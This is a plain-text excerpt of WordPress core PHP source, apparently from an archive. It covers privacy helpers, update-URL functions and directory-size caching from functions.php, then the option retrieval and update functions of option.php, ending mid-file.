IPv4 or IPv6 address to be anonymized. * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions * to anonymize it are not present. Default false, return `::` (unspecified address). * @return string The anonymized IP address. */ function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) { if ( empty( $ip_addr ) ) { return '0.0.0.0'; } // Detect what kind of IP address this is. $ip_prefix = ''; $is_ipv6 = substr_count( $ip_addr, ':' ) > 1; $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) ); if ( $is_ipv6 && $is_ipv4 ) { // IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4. $ip_prefix = '::ffff:'; $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr ); $ip_addr = str_replace( ']', '', $ip_addr ); $is_ipv6 = false; } if ( $is_ipv6 ) { // IPv6 addresses will always be enclosed in [] if there's a port. $left_bracket = strpos( $ip_addr, '[' ); $right_bracket = strpos( $ip_addr, ']' ); $percent = strpos( $ip_addr, '%' ); $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000'; // Strip the port (and [] from IPv6 addresses), if they exist. if ( false !== $left_bracket && false !== $right_bracket ) { $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 ); } elseif ( false !== $left_bracket || false !== $right_bracket ) { // The IP has one bracket, but not both, so it's malformed. return '::'; } // Strip the reachability scope. if ( false !== $percent ) { $ip_addr = substr( $ip_addr, 0, $percent ); } // No invalid characters should be left. if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) { return '::'; } // Partially anonymize the IP by reducing it to the corresponding network ID. if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) { $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) ); if ( false === $ip_addr ) { return '::'; } } elseif ( ! $ipv6_fallback ) { return '::'; } } elseif ( $is_ipv4 ) { // Strip any port and partially anonymize the IP. $last_octet_position = strrpos( $ip_addr, '.' ); $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0'; } else { return '0.0.0.0'; } // Restore the IPv6 prefix to compatibility mode addresses. return $ip_prefix . $ip_addr; } /** * Return uniform "anonymous" data by type. * * @since 4.9.6 * * @param string $type The type of data to be anonymized. * @param string $data Optional The data to be anonymized. * @return string The anonymous data for the requested type. */ function wp_privacy_anonymize_data( $type, $data = '' ) { switch ( $type ) { case 'email': $anonymous = 'deleted@site.invalid'; break; case 'url': $anonymous = 'https://site.invalid'; break; case 'ip': $anonymous = wp_privacy_anonymize_ip( $data ); break; case 'date': $anonymous = '0000-00-00 00:00:00'; break; case 'text': /* translators: Deleted text. */ $anonymous = __( '[deleted]' ); break; case 'longtext': /* translators: Deleted long text. */ $anonymous = __( 'This content was deleted by the author.' ); break; default: $anonymous = ''; break; } /** * Filters the anonymous data for each type. * * @since 4.9.6 * * @param string $anonymous Anonymized data. * @param string $type Type of the data. * @param string $data Original data. */ return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data ); } /** * Returns the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_url * * @return string Exports directory. */ function wp_privacy_exports_dir() { $upload_dir = wp_upload_dir(); $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/'; /** * Filters the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory * via this filter should be reflected on the server. * * @param string $exports_dir Exports directory. */ return apply_filters( 'wp_privacy_exports_dir', $exports_dir ); } /** * Returns the URL of the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_dir * * @return string Exports directory URL. */ function wp_privacy_exports_url() { $upload_dir = wp_upload_dir(); $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/'; /** * Filters the URL of the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL * via this filter should be reflected on the server. * * @param string $exports_url Exports directory URL. */ return apply_filters( 'wp_privacy_exports_url', $exports_url ); } /** * Schedule a `WP_Cron` job to delete expired export files. * * @since 4.9.6 */ function wp_schedule_delete_old_privacy_export_files() { if ( wp_installing() ) { return; } if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) { wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' ); } } /** * Cleans up export files older than three days old. * * The export files are stored in `wp-content/uploads`, and are therefore publicly * accessible. A CSPRN is appended to the filename to mitigate the risk of an * unauthorized person downloading the file, but it is still possible. Deleting * the file after the data subject has had a chance to delete it adds an additional * layer of protection. * * @since 4.9.6 */ function wp_privacy_delete_old_export_files() { $exports_dir = wp_privacy_exports_dir(); if ( ! is_dir( $exports_dir ) ) { return; } require_once ABSPATH . 'wp-admin/includes/file.php'; $export_files = list_files( $exports_dir, 100, array( 'index.php' ) ); /** * Filters the lifetime, in seconds, of a personal data export file. * * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically * be deleted by a cron job. * * @since 4.9.6 * * @param int $expiration The expiration age of the export, in seconds. */ $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS ); foreach ( (array) $export_files as $export_file ) { $file_age_in_seconds = time() - filemtime( $export_file ); if ( $expiration < $file_age_in_seconds ) { unlink( $export_file ); } } } /** * Gets the URL to learn more about updating the PHP version the site is running on. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.1.0 * * @return string URL to learn more about updating PHP. */ function wp_get_update_php_url() { $default_url = wp_get_default_update_php_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) { $update_url = getenv( 'WP_UPDATE_PHP_URL' ); } /** * Filters the URL to learn more about updating the PHP version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.1.0 * * @param string $update_url URL to learn more about updating PHP. */ $update_url = apply_filters( 'wp_update_php_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } /** * Gets the default URL to learn more about updating the PHP version the site is running on. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.1.0 * @access private * * @return string Default URL to learn more about updating PHP. */ function wp_get_default_update_php_url() { return _x( 'https://wordpress.org/support/update-php/', 'localized PHP upgrade information page' ); } /** * Prints the default annotation for the web host altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to display a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.1.0 * @since 5.2.0 Added the `$before` and `$after` parameters. * * @param string $before Markup to output before the annotation. Default `

    `. * @param string $after Markup to output after the annotation. Default `

    `. */ function wp_update_php_annotation( $before = '

    ', $after = '

    ' ) { $annotation = wp_get_update_php_annotation(); if ( $annotation ) { echo $before . $annotation . $after; } } /** * Returns the default annotation for the web hosting altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to return a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.2.0 * * @return string Update PHP page annotation. An empty string if no custom URLs are provided. */ function wp_get_update_php_annotation() { $update_url = wp_get_update_php_url(); $default_url = wp_get_default_update_php_url(); if ( $update_url === $default_url ) { return ''; } $annotation = sprintf( /* translators: %s: Default Update PHP page URL. */ __( 'This resource is provided by your web host, and is specific to your site. For more information, see the official WordPress documentation.' ), esc_url( $default_url ) ); return $annotation; } /** * Gets the URL for directly updating the PHP version the site is running on. * * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to * the page where they can update PHP to a newer version. * * @since 5.1.1 * * @return string URL for directly updating PHP or empty string. */ function wp_get_direct_php_update_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' ); } /** * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.1.1 * * @param string $direct_update_url URL for directly updating PHP. */ $direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url ); return $direct_update_url; } /** * Display a button directly linking to a PHP update process. * * This provides hosts with a way for users to be sent directly to their PHP update process. * * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`. * * @since 5.1.1 */ function wp_direct_php_update_button() { $direct_update_url = wp_get_direct_php_update_url(); if ( empty( $direct_update_url ) ) { return; } echo '

    '; printf( '%2$s %3$s', esc_url( $direct_update_url ), __( 'Update PHP' ), /* translators: Accessibility text. */ __( '(opens in a new tab)' ) ); echo '

    '; } /** * Gets the URL to learn more about updating the site to use HTTPS. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.7.0 * * @return string URL to learn more about updating to HTTPS. */ function wp_get_update_https_url() { $default_url = wp_get_default_update_https_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) { $update_url = getenv( 'WP_UPDATE_HTTPS_URL' ); } /** * Filters the URL to learn more about updating the HTTPS version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.7.0 * * @param string $update_url URL to learn more about updating HTTPS. */ $update_url = apply_filters( 'wp_update_https_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } /** * Gets the default URL to learn more about updating the site to use HTTPS. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.7.0 * @access private * * @return string Default URL to learn more about updating to HTTPS. */ function wp_get_default_update_https_url() { /* translators: Documentation explaining HTTPS and why it should be used. */ return __( 'https://wordpress.org/support/article/why-should-i-use-https/' ); } /** * Gets the URL for directly updating the site to use HTTPS. * * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to * the page where they can update their site to use HTTPS. * * @since 5.7.0 * * @return string URL for directly updating to HTTPS or empty string. */ function wp_get_direct_update_https_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ); } /** * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.7.0 * * @param string $direct_update_url URL for directly updating PHP. */ $direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url ); return $direct_update_url; } /** * Get the size of a directory. * * A helper function that is used primarily to check whether * a blog has exceeded its allowed upload space. * * @since MU (3.0.0) * @since 5.2.0 $max_execution_time parameter added. * * @param string $directory Full path of a directory. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment WordPress started to load. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. */ function get_dirsize( $directory, $max_execution_time = null ) { // Exclude individual site directories from the total when checking the main site of a network, // as they are subdirectories and should not be counted. if ( is_multisite() && is_main_site() ) { $size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time ); } else { $size = recurse_dirsize( $directory, null, $max_execution_time ); } return $size; } /** * Get the size of a directory recursively. * * Used by get_dirsize() to get a directory size when it contains other directories. * * @since MU (3.0.0) * @since 4.3.0 The `$exclude` parameter was added. * @since 5.2.0 The `$max_execution_time` parameter was added. * @since 5.6.0 The `$directory_cache` parameter was added. * * @param string $directory Full path of a directory. * @param string|string[] $exclude Optional. Full path of a subdirectory to exclude from the total, * or array of paths. Expected without trailing slash(es). * @param int $max_execution_time Optional. Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment * WordPress started to load. * @param array $directory_cache Optional. Array of cached directory paths. * * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. */ function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) { $directory = untrailingslashit( $directory ); $save_cache = false; if ( ! isset( $directory_cache ) ) { $directory_cache = get_transient( 'dirsize_cache' ); $save_cache = true; } if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) { return $directory_cache[ $directory ]; } if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) { return false; } if ( ( is_string( $exclude ) && $directory === $exclude ) || ( is_array( $exclude ) && in_array( $directory, $exclude, true ) ) ) { return false; } if ( null === $max_execution_time ) { // Keep the previous behavior but attempt to prevent fatal errors from timeout if possible. if ( function_exists( 'ini_get' ) ) { $max_execution_time = ini_get( 'max_execution_time' ); } else { // Disable... $max_execution_time = 0; } // Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value. if ( $max_execution_time > 10 ) { $max_execution_time -= 1; } } /** * Filters the amount of storage space used by one directory and all its children, in megabytes. * * Return the actual used space to short-circuit the recursive PHP file size calculation * and use something else, like a CDN API or native operating system tools for better performance. * * @since 5.6.0 * * @param int|false $space_used The amount of used space, in bytes. Default false. * @param string $directory Full path of a directory. * @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total, * or array of paths. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * @param array $directory_cache Array of cached directory paths. */ $size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache ); if ( false === $size ) { $size = 0; $handle = opendir( $directory ); if ( $handle ) { while ( ( $file = readdir( $handle ) ) !== false ) { $path = $directory . '/' . $file; if ( '.' !== $file && '..' !== $file ) { if ( is_file( $path ) ) { $size += filesize( $path ); } elseif ( is_dir( $path ) ) { $handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache ); if ( $handlesize > 0 ) { $size += $handlesize; } } if ( $max_execution_time > 0 && ( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time ) { // Time exceeded. Give up instead of risking a fatal timeout. $size = null; break; } } } closedir( $handle ); } } if ( ! is_array( $directory_cache ) ) { $directory_cache = array(); } $directory_cache[ $directory ] = $size; // Only write the transient on the top level call and not on recursive calls. if ( $save_cache ) { set_transient( 'dirsize_cache', $directory_cache ); } return $size; } /** * Cleans directory size cache used by recurse_dirsize(). * * Removes the current directory and all parent directories from the `dirsize_cache` transient. * * @since 5.6.0 * @since 5.9.0 Added input validation with a notice for invalid input. * * @param string $path Full path of a directory or file. */ function clean_dirsize_cache( $path ) { if ( ! is_string( $path ) || empty( $path ) ) { trigger_error( sprintf( /* translators: 1: Function name, 2: A variable type, like "boolean" or "integer". */ __( '%1$s only accepts a non-empty path string, received %2$s.' ), 'clean_dirsize_cache()', '' . gettype( $path ) . '' ) ); return; } $directory_cache = get_transient( 'dirsize_cache' ); if ( empty( $directory_cache ) ) { return; } if ( strpos( $path, '/' ) === false && strpos( $path, '\\' ) === false ) { unset( $directory_cache[ $path ] ); set_transient( 'dirsize_cache', $directory_cache ); return; } $last_path = null; $path = untrailingslashit( $path ); unset( $directory_cache[ $path ] ); while ( $last_path !== $path && DIRECTORY_SEPARATOR !== $path && '.' !== $path && '..' !== $path ) { $last_path = $path; $path = dirname( $path ); unset( $directory_cache[ $path ] ); } set_transient( 'dirsize_cache', $directory_cache ); } /** * Checks compatibility with the current WordPress version. * * @since 5.2.0 * * @global string $wp_version The WordPress version string. * * @param string $required Minimum required WordPress version. * @return bool True if required version is compatible or empty, false if not. */ function is_wp_version_compatible( $required ) { global $wp_version; // Strip off any -alpha, -RC, -beta, -src suffixes. list( $version ) = explode( '-', $wp_version ); return empty( $required ) || version_compare( $version, $required, '>=' ); } /** * Checks compatibility with the current PHP version. * * @since 5.2.0 * * @param string $required Minimum required PHP version. * @return bool True if required version is compatible or empty, false if not. */ function is_php_version_compatible( $required ) { return empty( $required ) || version_compare( phpversion(), $required, '>=' ); } /** * Checks if two numbers are nearly the same. * * This is similar to using `round()` but the precision is more fine-grained. * * @since 5.3.0 * * @param int|float $expected The expected value. * @param int|float $actual The actual number. * @param int|float $precision The allowed variation. * @return bool Whether the numbers match within the specified precision. */ function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) { return abs( (float) $expected - (float) $actual ) <= $precision; } /** * Sorts the keys of an array alphabetically. * The array is passed by reference so it doesn't get returned * which mimics the behaviour of ksort. * * @since 6.0.0 * * @param array $array The array to sort, passed by reference. */ function wp_recursive_ksort( &$array ) { foreach ( $array as &$value ) { if ( is_array( $value ) ) { wp_recursive_ksort( $value ); } } ksort( $array ); } option.php000064400000227576147177035010006615 0ustar00 bool(false) * [1] => string(3) "str" * [2] => NULL * } * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default Optional. Default value to return if the option does not exist. * @return mixed Value of the option. A value of any type may be returned, including * scalar (string, boolean, float, integer), null, array, object. * Scalar and null values will be returned as strings as long as they originate * from a database stored option value. If there is no option in the database, * boolean `false` is returned. */ function get_option( $option, $default = false ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( ! wp_installing() && isset( $deprecated_keys[ $option ] ) ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return get_option( $deprecated_keys[ $option ], $default ); } /** * Filters the value of an existing option before it is retrieved. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * Returning a truthy value from the filter will effectively short-circuit retrieval * and return the passed value instead. * * @since 1.5.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.9.0 The `$default` parameter was added. * * @param mixed $pre_option The value to return instead of the option value. This differs * from `$default`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_option(). * Default false (to skip past the short-circuit). * @param string $option Option name. * @param mixed $default The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( "pre_option_{$option}", false, $option, $default ); if ( false !== $pre ) { return $pre; } if ( defined( 'WP_SETUP_CONFIG' ) ) { return false; } // Distinguish between `false` as a default, and not passing one. $passed_default = func_num_args() > 1; if ( ! wp_installing() ) { // Prevent non-existent options from triggering multiple queries. $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( isset( $notoptions[ $option ] ) ) { /** * Filters the default value for an option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.4.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value. * * @param mixed $default The default value to return if the option does not exist * in the database. * @param string $option Option name. * @param bool $passed_default Was `get_option()` passed a default value? */ return apply_filters( "default_option_{$option}", $default, $option, $passed_default ); } $alloptions = wp_load_alloptions(); if ( isset( $alloptions[ $option ] ) ) { $value = $alloptions[ $option ]; } else { $value = wp_cache_get( $option, 'options' ); if ( false === $value ) { $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) ); // Has to be get_row() instead of get_var() because of funkiness with 0, false, null values. if ( is_object( $row ) ) { $value = $row->option_value; wp_cache_add( $option, $value, 'options' ); } else { // Option does not exist, so we must cache its non-existence. if ( ! is_array( $notoptions ) ) { $notoptions = array(); } $notoptions[ $option ] = true; wp_cache_set( 'notoptions', $notoptions, 'options' ); /** This filter is documented in wp-includes/option.php */ return apply_filters( "default_option_{$option}", $default, $option, $passed_default ); } } } } else { $suppress = $wpdb->suppress_errors(); $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) ); $wpdb->suppress_errors( $suppress ); if ( is_object( $row ) ) { $value = $row->option_value; } else { /** This filter is documented in wp-includes/option.php */ return apply_filters( "default_option_{$option}", $default, $option, $passed_default ); } } // If home is not set, use siteurl. if ( 'home' === $option && '' === $value ) { return get_option( 'siteurl' ); } if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) { $value = untrailingslashit( $value ); } /** * Filters the value of an existing option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 1.5.0 As 'option_' . $setting * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $value Value of the option. If stored serialized, it will be * unserialized prior to being returned. * @param string $option Option name. */ return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option ); } /** * Protects WordPress special option from being modified. * * Will die if $option is in protected list. Protected options are 'alloptions' * and 'notoptions' options. * * @since 2.2.0 * * @param string $option Option name. */ function wp_protect_special_option( $option ) { if ( 'alloptions' === $option || 'notoptions' === $option ) { wp_die( sprintf( /* translators: %s: Option name. */ __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) ); } } /** * Prints option value after sanitizing for forms. * * @since 1.5.0 * * @param string $option Option name. */ function form_option( $option ) { echo esc_attr( get_option( $option ) ); } /** * Loads and caches all autoloaded options, if available or all options. * * @since 2.2.0 * @since 5.3.1 The `$force_cache` parameter was added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $force_cache Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array List of all options. */ function wp_load_alloptions( $force_cache = false ) { global $wpdb; if ( ! wp_installing() || ! is_multisite() ) { $alloptions = wp_cache_get( 'alloptions', 'options', $force_cache ); } else { $alloptions = false; } if ( ! $alloptions ) { $suppress = $wpdb->suppress_errors(); $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ); if ( ! $alloptions_db ) { $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ); } $wpdb->suppress_errors( $suppress ); $alloptions = array(); foreach ( (array) $alloptions_db as $o ) { $alloptions[ $o->option_name ] = $o->option_value; } if ( ! wp_installing() || ! is_multisite() ) { /** * Filters all options before caching them. * * @since 4.9.0 * * @param array $alloptions Array with all options. */ $alloptions = apply_filters( 'pre_cache_alloptions', $alloptions ); wp_cache_add( 'alloptions', $alloptions, 'options' ); } } /** * Filters all options after retrieving them. * * @since 4.9.0 * * @param array $alloptions Array with all options. */ return apply_filters( 'alloptions', $alloptions ); } /** * Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used. * * @since 3.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id Optional site ID for which to query the options. Defaults to the current site. */ function wp_load_core_site_options( $network_id = null ) { global $wpdb; if ( ! is_multisite() || wp_using_ext_object_cache() || wp_installing() ) { return; } if ( empty( $network_id ) ) { $network_id = get_current_network_id(); } $core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' ); $core_options_in = "'" . implode( "', '", $core_options ) . "'"; $options = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $network_id ) ); $data = array(); foreach ( $options as $option ) { $key = $option->meta_key; $cache_key = "{$network_id}:$key"; $option->meta_value = maybe_unserialize( $option->meta_value ); $data[ $cache_key ] = $option->meta_value; } wp_cache_set_multiple( $data, 'site-options' ); } /** * Updates the value of an option that was already added. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is inserted into the database. * Remember, resources cannot be serialized or added as an option. * * If the option does not exist, it will be created. * This function is designed to work with or without a logged-in user. In terms of security, * plugin developers should check the current user's capabilities before updating any options. * * @since 1.0.0 * @since 4.2.0 The `$autoload` parameter was added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to update. Expected to not be SQL-escaped. * @param mixed $value Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped. * @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. For existing options, * `$autoload` can only be updated using `update_option()` if `$value` is also changed. * Accepts 'yes'|true to enable or 'no'|false to disable. For non-existent options, * the default value is 'yes'. Default null. * @return bool True if the value was updated, false otherwise. */ function update_option( $option, $value, $autoload = null ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( ! wp_installing() && isset( $deprecated_keys[ $option ] ) ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return update_option( $deprecated_keys[ $option ], $value, $autoload ); } wp_protect_special_option( $option ); if ( is_object( $value ) ) { $value = clone $value; } $value = sanitize_option( $option, $value ); $old_value = get_option( $option ); /** * Filters a specific option before its value is (maybe) serialized and updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.6.0 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $value The new, unserialized option value. * @param mixed $old_value The old option value. * @param string $option Option name. */ $value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option ); /** * Filters an option before its value is (maybe) serialized and updated. * * @since 3.9.0 * * @param mixed $value The new, unserialized option value. * @param string $option Name of the option. * @param mixed $old_value The old option value. */ $value = apply_filters( 'pre_update_option', $value, $option, $old_value ); /* * If the new and old values are the same, no need to update. * * Unserialized values will be adequate in most cases. If the unserialized * data differs, the (maybe) serialized data is checked to avoid * unnecessary database calls for otherwise identical object instances. * * See https://core.trac.wordpress.org/ticket/38903 */ if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) { return false; } /** This filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) { // Default setting for new options is 'yes'. if ( null === $autoload ) { $autoload = 'yes'; } return add_option( $option, $value, '', $autoload ); } $serialized_value = maybe_serialize( $value ); /** * Fires immediately before an option value is updated. * * @since 2.9.0 * * @param string $option Name of the option to update. * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ do_action( 'update_option', $option, $old_value, $value ); $update_args = array( 'option_value' => $serialized_value, ); if ( null !== $autoload ) { $update_args['autoload'] = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes'; } $result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) ); if ( ! $result ) { return false; } $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( 'notoptions', $notoptions, 'options' ); } if ( ! wp_installing() ) { $alloptions = wp_load_alloptions( true ); if ( isset( $alloptions[ $option ] ) ) { $alloptions[ $option ] = $serialized_value; wp_cache_set( 'alloptions', $alloptions, 'options' ); } else { wp_cache_set( $option, $serialized_value, 'options' ); } } /** * Fires after the value of a specific option has been successfully updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.0.1 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $old_value The old option value. * @param mixed $value The new option value. * @param string $option Option name. */ do_action( "update_option_{$option}", $old_value, $value, $option ); /** * Fires after the value of an option has been successfully updated. * * @since 2.9.0 * * @param string $option Name of the updated option. * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ do_action( 'updated_option', $option, $old_value, $value ); return true; } /** * Adds a new option. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is inserted into the database. * Remember, resources cannot be serialized or added as an option. * * You can create options without values and then update the values later. * Existing options will not be updated and checks are performed to ensure that you * aren't adding a protected WordPress option. Care should be taken to not name * options the same as the ones which are protected. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Optional. Option value. Must be serializable if non-scalar. * Expected to not be SQL-escaped. * @param string $deprecated Optional. Description. Not used anymore. * @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. * Default is enabled. Accepts 'no' to disable for legacy reasons. * @return bool True if the option was added, false otherwise. */ function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) { global $wpdb; if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.3.0' ); } if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( ! wp_installing() && isset( $deprecated_keys[ $option ] ) ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return add_option( $deprecated_keys[ $option ], $value, $deprecated, $autoload ); } wp_protect_special_option( $option ); if ( is_object( $value ) ) { $value = clone $value; } $value = sanitize_option( $option, $value ); // Make sure the option doesn't already exist. // We can check the 'notoptions' cache before we ask for a DB query. $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) { /** This 